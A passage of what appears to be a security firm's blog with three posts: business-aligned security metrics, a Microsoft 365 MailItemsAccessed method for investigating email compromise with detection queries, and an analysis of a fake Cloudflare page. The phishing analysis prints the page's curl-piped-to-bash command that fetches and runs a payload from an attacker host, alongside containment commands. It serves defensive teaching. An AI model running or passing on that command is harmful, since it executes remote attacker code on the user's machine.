  • Metric derivation methodologies: Academic work (e.g., the GQM‑based methodology) shows how to trace business goals to security metrics in context.

Communicating to executives/board

Communication is where many security programmes stumble. Here are key pointers:

  • Speak business language: Avoid security jargon; translate into risk reduction, revenue protection, competitive advantage.

  • Use stories + numbers: A well‑chosen anecdote (“What would happen if our customer billing system went down?”) combined with financial impact earns attention.

  • Show progress and lead‑lag metrics: Not just “we did X,” but “here’s what that means for business today and tomorrow.”

  • Link to business drivers: Highlight how security supports strategic initiatives (digital transformation, customer trust, brand, M&A).

  • Frame security as an enabler: “Our investment in security enables us to go to market faster with product Y” rather than “we need money to buy product Z.”

  • Prepare for the uncomfortable: Be ready to answer “How secure are we?” with confidence, backed by data.

Implementation steps

Here is a practical sequence for moving from alignment theory to execution:

  1. Audit your current metrics
    • Catalogue all current security metrics (technical, operational) and gauge how many map to business outcomes.
    • Identify which metrics executives care about (revenue, brand, competitive risk).

  2. Engage business stakeholders
    • Identify key business functions and owners (CIO, CFO, business units) and ask: what keeps you up at night? What business processes are critical?
    • Jointly map which assets/processes support those business functions, and the security risks associated.

  3. Link security programmes to business outcomes
    • For each major initiative, define the business outcome it supports, the risk it mitigates, and the metric you’ll use to show progress.
    • Prioritise initiatives that support high‑value business functions or high‑risk scenarios.

  4. Build business‑centric dashboards
    • Create a dashboard for executives/board that shows metrics like “% of revenue protected”, “estimated downtime cost if outage X occurs”, “time to recovery”.
    • Supplement with strategic commentary (what’s changing, what decisions are required).

  5. Embed continuous feedback and iteration
    • Periodically (quarterly or more) revisit alignment: Are business priorities shifting? Are new threats emerging?
    • Adjust metrics and initiatives accordingly to maintain alignment.

  6. Communicate outcomes, not just activity
    • Present progress in business terms: “Because of our work we reduced our estimated exposure by $X over Y months,” or “We enabled the rollout of product Z with acceptable risk and no delay.”
    • Use these facts to support budget discussions, not just ask for funds.

Conclusion

In today’s constrained environment, simply having a solid firewall or endpoint solution isn’t enough. For security to earn its seat at the table, it must speak the language of business: risk, cost, revenue, growth.
When security teams shift from being defenders of the perimeter to enablers of the enterprise, they unlock greater trust, stronger budgets, and a role that transcends compliance.

If you’re leading a security function today, ask yourself: “When the CFO asks what we achieved last quarter, can I answer in dollars and days, or just number of patches and alerts?” The answer will determine whether you’re seen as a cost centre—or a strategic partner.

More Information & Help

If your organization is struggling to align cybersecurity initiatives with business objectives—or if you need to translate risk into financial impact—MicroSolved, Inc. can help.

For over 30 years, we’ve worked with CISOs, risk teams, boards, and executive leadership to:

  • Design and implement risk-centric, business-aligned cybersecurity strategies

  • Develop security KPIs and dashboards that communicate effectively at the executive level

  • Assess existing security programs for gaps in business alignment and ROI

  • Provide CISO-as-a-Service engagements that focus on strategic enablement, not just compliance

  • Facilitate security-business stakeholder engagement sessions to unify priorities

Whether you need a workshop, a second opinion, or a comprehensive security-business alignment initiative, we’re ready to partner with you.

To start a conversation, contact us at:
📧 info@microsolved.com
🌐 https://www.microsolved.com
📞 +1-614-351-1237

Let’s move security from overhead to overachiever—together.

References

  1. Global Cyber Alliance. “Facing the Challenge: Aligning Cybersecurity and Business.” https://gca.isa.org

  2. Transformative CIO. “Cybersecurity ROI: How to Align Protection and Performance.” https://transformative.cio.com

  3. CDG. “How to Build and Justify Your Cybersecurity Budget.” https://www.cdg.io

  4. Wikipedia. “Gordon–Loeb Model.” https://en.wikipedia.org/wiki/Gordon–Loeb_model

  5. Impact. “Maximizing ROI Through Cybersecurity Strategy.” https://www.impactmybiz.com

  6. SecurityScorecard. “How to Justify Your Cybersecurity Budget.” https://securityscorecard.com

  7. PwC. “Elevating Business Alignment in Cybersecurity Strategies.” https://www.pwc.com

  8. Rivial Security. “Maximizing ROI With a Risk-Based Cybersecurity Program.” https://www.rivialsecurity.com

  9. Arxiv. “Deriving Cybersecurity Metrics From Business Goals.” https://arxiv.org/abs/1910.05263

  10. TechTarget. “Cybersecurity Budget Justification: A Guide for CISOs.” https://www.techtarget.com

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

Methodology: MailItemsAccessed-Based Investigation for BEC in Microsoft 365

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When your organization faces a business-email compromise (BEC) incident, one of the hardest questions is: “What did the attacker actually read or export?” Conventional logs often show only sign-ins or outbound sends, but not the depth of mailbox item access. The MailItemsAccessed audit event in Microsoft 365 Unified Audit Log (UAL) brings far more visibility — if configured correctly. This article outlines a repeatable, defensible process for investigation using that event, from readiness verification to scoping and reporting.

Objective

Provide a repeatable, defensible process to identify, scope, and validate email exposure in BEC investigations using the MailItemsAccessed audit event.

Phase 1 — Readiness Verification (Pre-Incident)

Before an incident hits, you must validate your logging and audit posture. These steps ensure you’ll have usable data.

1. Confirm Licensing

  • Verify your tenant’s audit plan under Microsoft Purview Audit (Standard or Premium).

    • Audit (Standard): default retention 180 days (previously 90).

    • Audit (Premium): longer retention (e.g., 365 days or more), enriched logs.

  • Confirm that your license level supports the MailItemsAccessed event. Many sources state this requires Audit Premium or an E5-level compliance add-on.

2. Validate Coverage

  • Confirm mailbox auditing is on by default for user mailboxes. Microsoft states this for Exchange Online.

  • Confirm that MailItemsAccessed is part of the default audit set (or if custom audit sets exist, that it’s included). According to Microsoft documentation: the MailItemsAccessed action “covers all mail protocols … and is enabled by default for users assigned an Office 365 E3/E5 or Microsoft 365 E3/E5 licence.”

  • For tenants with customised audit sets, ensure the Microsoft defaults are re-applied so that MailItemsAccessedisn’t inadvertently removed.

3. Retention & Baseline

  • Record what your current audit-log retention policy is (e.g., 180 days vs 365 days) so you know how far back you can search.

  • Establish a baseline volume of MailItemsAccessed events—how many are generated from normal activity. That helps define thresholds for abnormal behaviour during investigation.

Phase 2 — Investigation Workflow (During Incident)

Once an incident is underway and you have suspected mailboxes, follow structured investigation steps.

1. Identify Affected Accounts

From your alarm sources (e.g., anomalous sign-in alerts, inbound or outbound rule creation, unusual inbox rules, compromised credentials) compile a list of mailboxes that might have been accessed.

2. Extract Evidence

In the Purview portal → Audit → filter for Activity = MailItemsAccessed, specifying the time range that covers suspected attacker dwell time.
Export the results to CSV via the Unified Audit Log.

3. Correlate Access Sessions

Group the MailItemsAccessed results by key session indicators:

  • ClientIP

  • SessionId

  • UserAgent / ClientInfoString

Flag sessions that show:

  • Unknown or non-corporate IP addresses (e.g., external ASN)

  • Legacy protocols (IMAP, POP, ActiveSync) or bulk-sync behaviour

  • User agents indicating automated tooling or scripting

4. Quantify Exposure

  • Count distinct ItemIds and FolderPaths to determine how many items and which folders were accessed.

  • Look for throttling indicators (for example more than ~1,000 MailItemsAccessed events in 24 h for a single user may indicate scripted or bulk access).

  • Use the example KQL queries below (see Section “KQL Example Snippets”).

5. Cross-Correlate with Other Events

  • Overlay these results with Send audit events and InboxRule/New-InboxRule events to detect lateral-phish, rule-based fraud or data-staging behaviour.

  • For example, access events followed by mass sends indicate attacker may have read and then exfiltrated or used the account for fraud.

6. Validate Exfil Path

  • Check the client protocol used by the session. If the client is REST API, bulk sync or legacy protocol, that may indicate the attacker is exfiltrating rather than simply reading.

  • If MailItemsAccessed shows items accessed using a legacy IMAP/POP or ActiveSync session — that is a red flag for mass download.

Phase 3 — Analysis & Scoping

Once raw data is collected, move into analysis to scope the incident.

1. Establish Attack Session Timeline

  • Combine sign-in logs (from Microsoft Entra ID Sign‑in Logs) with MailItemsAccessed events to reconstruct dwell time and sequence.

  • Determine when attacker first gained access, how long they stayed, and when they left.

2. Define Affected Items

  • Deliver an itemised summary (folder path, count of items, timestamps) of mailbox items accessed.

  • Limit exposure claims to the items you have logged evidence for — do not assume access of the entire mailbox unless logs show it (or you have other forensic evidence).

3. Corroborate with Throttling and Send Events

  • If you see unusual high-volume access plus spike in Send events or inbox rule changes, you can conclude automated or bulk access occurred.

  • Document IOCs (client IPs, session IDs, user-agent strings) tied to the malicious session.

Phase 4 — Reporting & Validation

After investigation you report findings and validate control-gaps.

1. Evidence Summary

Your report should document:

  • Tenant license type and retention (Audit Standard vs Premium)

  • Audit coverage verification (mailbox auditing enabled, MailItemsAccessed present)

  • Affected item count, folder paths, session data (IPs, protocol, timeframe)

  • Indicators of compromise (IOCs) and signs of mass or scripted access

2. Limitations

Be transparent about limitations:

  • Upgrading to Audit Premium mid-incident will not backfill missing MailItemsAccessed data for the earlier period. Sources note this gap.

  • If mailbox auditing or default audit-sets were customised (and MailItemsAccessed omitted), you may lack full visibility. Example commentary notes this risk.

3. Recommendations

  • Maintain Audit Premium licensing for at-risk tenants (e.g., high-value executive mailboxes or those handling sensitive data).

  • Pre-stage KQL dashboards to detect anomalies (e.g., bursts of MailItemsAccessed, high counts per hour or per day) so you don’t rely solely on ad-hoc searches.

  • Include audit-configuration verification (licensing, mail-audit audit-set, retention) in your regular vCISO or governance audit cadence.

KQL Example Snippets

 
// Detect burst read activity per IP/user
AuditLogs
| where Operation == "MailItemsAccessed"
| summarize Count = count() by UserId, ClientIP, bin(TimeGenerated, 1h)
| where Count > 100

// Detect throttling patterns (scripted or bulk reads)
AuditLogs
| where Operation == "MailItemsAccessed"
| summarize TotalReads = count() by UserId, bin(TimeGenerated, 24h)
| where TotalReads > 1000

MITRE ATT&CK Mapping

Tactic Technique ID
Collection Email Collection T1114.002
Exfiltration Exfiltration Over Web Services T1567.002
Discovery Cloud Service Discovery T1087.004
Defense Evasion Valid Accounts (Cloud) T1078.004

These mappings illustrate how MailItemsAccessed visibility ties directly into attacker-behaviour frameworks in cloud email contexts.

Minimal Control Checklist

  •  Verify Purview Audit plan and retention

  •  Validate MailItemsAccessed events present/searchable for a sample of users

  •  Ensure mailbox auditing defaults (default audit-set) restored and active

  •  Pre-stage anomaly detection queries / dashboards for mailbox-access bursts

Conclusion

When investigating a BEC incident, possession of high-fidelity audit data like MailItemsAccessed transforms your investigation from guesswork into evidence-driven clarity. The key is readiness: licence appropriately, validate your coverage, establish baselines, and when a breach occurs follow a structured workflow from extraction to scoping to reporting. Without that groundwork your post-incident forensics may hit blind spots. But with it you increase your odds of confidently quantifying exposure, attributing access and closing the loop.

Prepare, detect, dissect—repeatably.

References

  1. Microsoft Learn: Manage mailbox auditing – “Mailbox audit logging is turned on by default in all organizations.”

  2. Microsoft Learn: Use MailItemsAccessed to investigate compromised accounts – “The MailItemsAccessed action … is enabled by default for users that are assigned an Office 365 E3/E5 or Microsoft 365 E3/E5 license.”

  3. Microsoft Learn: Auditing solutions in Microsoft Purview – licensing and search prerequisites.

  4. Office365ITPros: Enable MailItemsAccessed event for Exchange Online – “Purview Audit Premium is included in Office 365 E5 and … Audit (Standard) is available to E3 customers.”

  5. TrustedSec blog: MailItemsAccessed woes – “According to Microsoft, this event is only accessible if you have the Microsoft Purview Audit (Premium) functionality.”

  6. Practical365: Microsoft’s slow delivery of MailItemsAccessed audit event – retention commentary.

  7. O365Info: Manage audit log retention policies – up to 10 years for Premium.

  8. Office365ITPros: Mailbox audit event ingestion issues for E3 users.

  9. RedCanary blog: Entra ID service principals and BEC – “MailItemsAccessed is a very high volume record …”

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

A Modern Ruse: When “Cloudflare” Phishing Goes Full-Screen

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Over the years, phishing campaigns have evolved from crude HTML forms to shockingly convincing impersonations of the web infrastructure we rely on every day. The latest example Adam spotted is a masterclass in deception—and a case study in what it looks like when phishing meets full-stack engineering.

Image 720

Let’s break it down.

The Setup

The page loads innocuously. A user stumbles upon what appears to be a familiar Cloudflare “Just a moment…” screen. If you’ve ever browsed the internet behind any semblance of WAF protection, you’ve seen the tell-tale page hundreds of times. Except this one isn’t coming from Cloudflare. It’s fake. Every part of it.

Behind the scenes, the JavaScript executes a brutal move: it stops the current page (window.stop()), wipes the DOM clean, and replaces it with a base64-decoded HTML iframe that mimics Cloudflare’s Turnstile challenge interface. It spoofs your current host into the title bar and dynamically injects the fake content.

A very neat trick—if it weren’t malicious.

The Play

Once the interface loads, it identifies your OS—at least it pretends to. In truth, the script always forces "mac" as the user’s OS regardless of reality. Why? Because the rest of the social engineering depends on that.

It shows terminal instructions and prominently displays a “Copy” button.

The payload?

 
curl -s http[s]://gamma.secureapimiddleware.com/strix/index.php | nohup bash & //defanged the url - MSI

Let that sink in. This isn’t just phishing. This is copy-paste remote code execution. It doesn’t ask for credentials. It doesn’t need a login form. It needs you to paste and hit enter. And if you do, it installs something persistent in the background—likely a beacon, loader, or dropper.

The Tell

The page hides its maliciousness through layers of base64 obfuscation. It forgoes any network indicators until the moment the user executes the command. Even then, the site returns an HTTP 418 (“I’m a teapot”) when fetched via typical tooling like curl. Likely, it expects specific headers or browser behavior.

Notably:

  • Impersonates Cloudflare Turnstile UI with shocking visual fidelity.

  • Forces macOS instructions regardless of the actual user agent.

  • Abuses clipboard to encourage execution of the curl|bash combo.

  • Uses base64 to hide the entire UI and payload.

  • Drops via backgrounded nohup shell execution.

Containment (for Mac targets)

If a user copied and ran the payload, immediate action is necessary. Disconnect the device from the network and begin triage:

  1. Kill live processes:

     
    pkill -f 'curl .*secureapimiddleware\[.]com'
    pkill -f 'nohup bash'

  2. Inspect for signs of persistence:

     
    ls ~/Library/LaunchAgents /Library/Launch* 2>/dev/null | egrep 'strix|gamma|bash'
    crontab -l | egrep 'curl|strix'

  3. Review shell history and nohup output:

     
    grep 'secureapimiddleware' ~/.bash_history ~/.zsh_history
    find ~ -name 'nohup.out'

If you find dropped binaries, reimage the host unless you can verify system integrity end-to-end.

A Lesson in Trust Abuse

This isn’t the old “email + attachment” phishing game. This is trust abuse on a deeper level. It hijacks visual cues, platform indicators, and operating assumptions about services like Cloudflare. It tricks users not with malware attachments, but with shell copy-pasta. That’s a much harder thing to detect—and a much easier thing to execute for attackers.

Final Thought

Train your users not just to avoid shady emails, but to treat curl | bash from the internet as radioactive. No “validation badge” or CAPTCHA-looking widget should ever ask you to run terminal commands.

This is one of the most clever phishing attacks I’ve seen lately—and a chilling sign of where things are headed.

Stay safe out there.

 

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.